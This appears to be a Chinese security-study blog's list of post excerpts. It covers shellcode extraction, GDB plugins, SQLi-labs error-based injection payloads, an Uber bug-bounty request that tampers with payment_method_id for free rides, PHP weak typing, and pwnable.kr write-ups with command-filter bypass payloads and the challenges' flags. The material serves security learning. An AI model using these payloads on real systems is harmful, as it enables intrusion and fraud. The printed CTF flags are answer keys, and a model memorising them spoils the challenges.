从汇编生成shellcode的n种方法

第一种,添加asm代码到c中,然后gcc编译生成可执行代码,最后objdump: void main() { asm{ … } } 太麻烦,这里就不详细介绍了,基本上包含在第二种方法中   第二种,直接用NASM或者GAS生成elf文件,然后objdump: nasm -f elf print.asm ld -m elf_i386 -o print print.asm as test.asm -o test.o ld test.asm -o test objdump生成shellcode: objdump -d print2 | grep “^ ” | cut -d$’\t’ -f 2 | tr ‘\n’ ‘ ‘ | sed -e ‘s/ *$//’ | sed -e […]

GDB useful addons or plugins

Helpful GDB Plugins: PEDA PEDA – Python Exploit Development Assistance for GDB https://github.com/longld/peda GEF GDB Enhanced Features https://github.com/hugsy/gef Lisa.py  LLDB Lisa.py: An Exploit Dev Swiss Army Knife. https://github.com/ant4g0nist/lisa.py Voltron Voltron is an extensible debugger UI toolkit written in Python. https://github.com/snare/voltron   How to use GDB debug: http://heather.cs.ucdavis.edu/~matloff/UnixAndC/CLanguage/Debug.html gdb命令笔记 gdb peda常用指令

漏洞测试平台——SQLi-labs

SQLi-labs是个专门用来学习SQL注入的开源漏洞测试平台,基于php+mysql开发,所以里面涉及的SQL注入都是mysql语法。 下载的地址是https://github.com/Audi-1/sqli-labs 下载安装按照readme里面要求即可,这里不多废话。下面是每个题目的具体分析: 1、error based string sqli 首先是源码: 我们可以看到当mysql语句正确执行的时候,应用会打印结果,但是没有正确执行的时候会打印错误,所以这里我们并不能像有回显位注入那样直接注入mysql语句。我们需要利用报错信息进行注入。 原理其实比较简单,一般都是利用某函数X    比如X(exp)  mysql函数在执行的时候会先执行函数里面的exp,获取返回值,然后再把exp的返回值作为参数给X进行执行,当exp的返回值不符合X的传参要求时,会导致query错误,打印出错误。 直接贴上一个老毛子整理的error based的cheat sheet:https://blackfan.ru/mysql_game/ 构造exp:‘|polygon((select*from(select name_const(version(),1))x))%23 2、error based integer sqli 原理同一,只不过是注入点的变量是integer exp:|polygon((select*from(select name_const(version(),1))x))%23 3、注入点变量外有单引号和括号,在exp中添加对应的符号即可: exp:’)|polygon((select*from(select name_const(version(),1))x))%23 4 、双引号加括号的error based 注入,变下exp即可: exp: “)|polygon((select*from(select name_const(version(),1))x))%23 5、string 单引号注入同第一题 exp: ‘ |polygon((select*from(select name_const(version(),1))x))%23 6、string 双引号注入 exp: “|polygon((select*from(select name_const(version(),1))x))%23 7、我们先看下源码: error_reporting(0); 这句话表示不再显示具体错误,只会显示“You have an error in your SQL syntax“,所以这里我们不能用前几题的error based注入,根据标题的提示“dump […]

从零开始学安全

最近投了一堆安全的summer intern,结果不是被拒就是杳无音讯,一个oa或者是电面的机会都没有,自己也实在提不起兴趣找SDE的工作。然后回顾自己去年一年,在学校挣扎着完成课程和在实验室写写代码,安全方面似乎没有丝毫的进步。 我发现自己总是在一件事情上不能坚持很长时间,还总是给自己找一堆事情来做,显得自己很牛逼,结果最后很多事情都做不好。 想来想去,发现就是自己还是太浮躁了,口口声声说自己对什么什么感兴趣,结果都是嘴上吹牛逼说说几个名词。如果要让我不借助网络来解释某个东西的原理,用中文十有八九都说不清楚,用英文就更不用说了。 眼看着自己还有一年就要毕业了,虽然说找到一个工作不是什么难事,但是自己浑浑噩噩的样子自己实在看不过去,这里自己做一个小小的计划,踏踏实实从零开始学习安全,然后自己的学习过程都用博客进行记录。对于遇到的每个问题都仔细研究,深入了解原理,learn it and hack it。 作为一个开篇的文章应该有个详细的计划,这里就罗列一下: 1、漏洞测试平台 2、CVE web类漏洞 3、bug bounty 4、自动化脚本 以上内容会不定时更新

bug bounty note—-UBER

free uber: POST /api/dial/v2/requests HTTP/1.1 Host: dial.uber.com {“start_latitude”:12.925151699999999,”start_longitude”:77.6657536, “product_id”:”db6779d6-d8da-479f-8ac7-8068f4dade6f”,”payment_method_id”:”xyz”} change payment_method_id reference url :http://www.anandpraka.sh/2017/03/how-anyone-could-have-used-uber-to-ride.html

gdb命令笔记

编译的时候: -g 开始调试:gdb [-tui] test 设置断点:(gdb) breakpoint test.c:123 or  (gdb) b main 运行程序(后面可以跟参数):(gdb) run [arg1 arg2] 清除断点:(gdb) clear 跟踪堆栈:(gdb) where 打印参数:(gdb) print f.BlockType 用16进制打印:(gdb) print/x f.BlockType 单步调试(不进入函数内部):(gdb) next or (gdb) n 单步调试(进入函数内部):(gdb) step or (gdb) s 在每个命令后都显示参数:(gdb) display f.BlockType 设定参数:(gdb) set f.BlockType=0 继续运行:(gdb) cont 推出:(gdb) quit

PHP弱类型漏洞总结

首先说下强弱类型,根据维基百科的定义: In computer programming, programming languages are often colloquially classified as strongly typed or weakly typed (loosely typed). These terms do not have a precise definition, but in general, a strongly typed language is more likely to generate an error or refuse to compile if the argument passed to a function does not closely match […]

pwnable.kr-uaf

题目描述: Mommy, what is Use After Free bug? ssh [email protected] -p2222 (pw:guest) 根据题目描述我们知道该题考察UAF(use after free)漏洞,关于UAF,简单说下就是内存地址在free后并没有被销毁,下次为相同的结构类型分配大小类似的空间时,之前的内存空间会被重新使用,如果第二次的指针能够被用户所控制,就造成了UAF漏洞。然后有些基础知识(转自:http://blog.csdn.net/qq_20307987/article/details/51511230):   1 UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。 2 UAF错误的原因: (1)导致程序出错和发生异常的各种条件 (2)程序负责释放内存的指令发生混乱 其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针) 3 UAF漏洞的利用: (1)先搞出来一个迷途指针 (2)精心构造数据填充被释放的内存区域 (3)再次使用该指针,让填充的数据使eip发生跳转。 4 在填充的阶段要考虑系统的内存分配机制,这里介绍一下SLUB SLUB 对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。 既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件: 用户可以控制该对象的大小 用户空间可以对该对象写入数据 如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。   5 malloc函数做了那些事情。 大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。 小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。 在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。 对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。   6 虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。   7 vptr每个对象都会有一个,而vptable是每个类有一个 vptr指向vtable 一个类中就算有多个虚函数,也只有一个vptr 做多重继承的时候,继承了多个父类,就会有多个vptr   8 虚函数表的结构:它是一个函数指针表,每一个表项都指向一个函数。任何一个包含至少一个虚函数的类都会有这样一张表。需要注意的是vtable只包含虚函数的指针,没有函数体。实现上是一个函数指针的数组。虚函数表既有继承性又有多态性。每个派生类的vtable继承了它各个基类的vtable,如果基类vtable中包含某一项,则其派生类的vtable中也将包含同样的一项,但是两项的值可能不同。如果派生类覆写(override)了该项对应的虚函数,则派生类vtable的该项指向覆写后的虚函数,没有覆写的话,则沿用基类的值。 […]

pwnable.kr-cmd2

题目描述: Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission… but I wanna play anytime I want! ssh [email protected] -p2222 (pw:flag of cmd1) 这题ssh的登陆密码是cmd1的flag,登陆后查看cmd2.c的源代码: 我们看到相比cmd1还多过滤了“/”,所以这里我们需要绕过这个限制,这里有多种方法可以绕过,经过测试我们发现通过cmd2中的system可以直接执行echo,但是其他的命令都需要绝对路径才行,也就是例如whoami需要”/bin/whoami”,这样会出现”/“。这里利用echo进行绕过: 把所有的字符经过8进制编码: 然后得到编码后的字符串,最后构造payload: [email protected]:~$ ./cmd2 ‘$(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”)’ $(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”) FuN_w1th_5h3ll_v4riabl3s_haha 可以成功得到flag: FuN_w1th_5h3ll_v4riabl3s_haha

pwnable.kr-cmd1

题目描述: Mommy! what is PATH environment in Linux? ssh [email protected] -p2222 (pw:guest) cmd1.c的源码为: 看起来过滤了flag,sh,tmp,没有关系,通过shell下面指令拼接可以绕过: “/bin/cat ‘fl”ag’” [email protected]:~$ ./cmd1 “/bin/cat ‘fl”ag’” mommy now I get what PATH environment is for 🙂 所以最终的flag为: mommy now I get what PATH environment is for 🙂   这里更新一种方法: [email protected]:~$ ls cmd1 cmd1.c flag [email protected]:~$ mkdir /tmp/cmd1 [email protected]:~$ cd /tmp/cmd1 [email protected]:/tmp/cmd1$ […]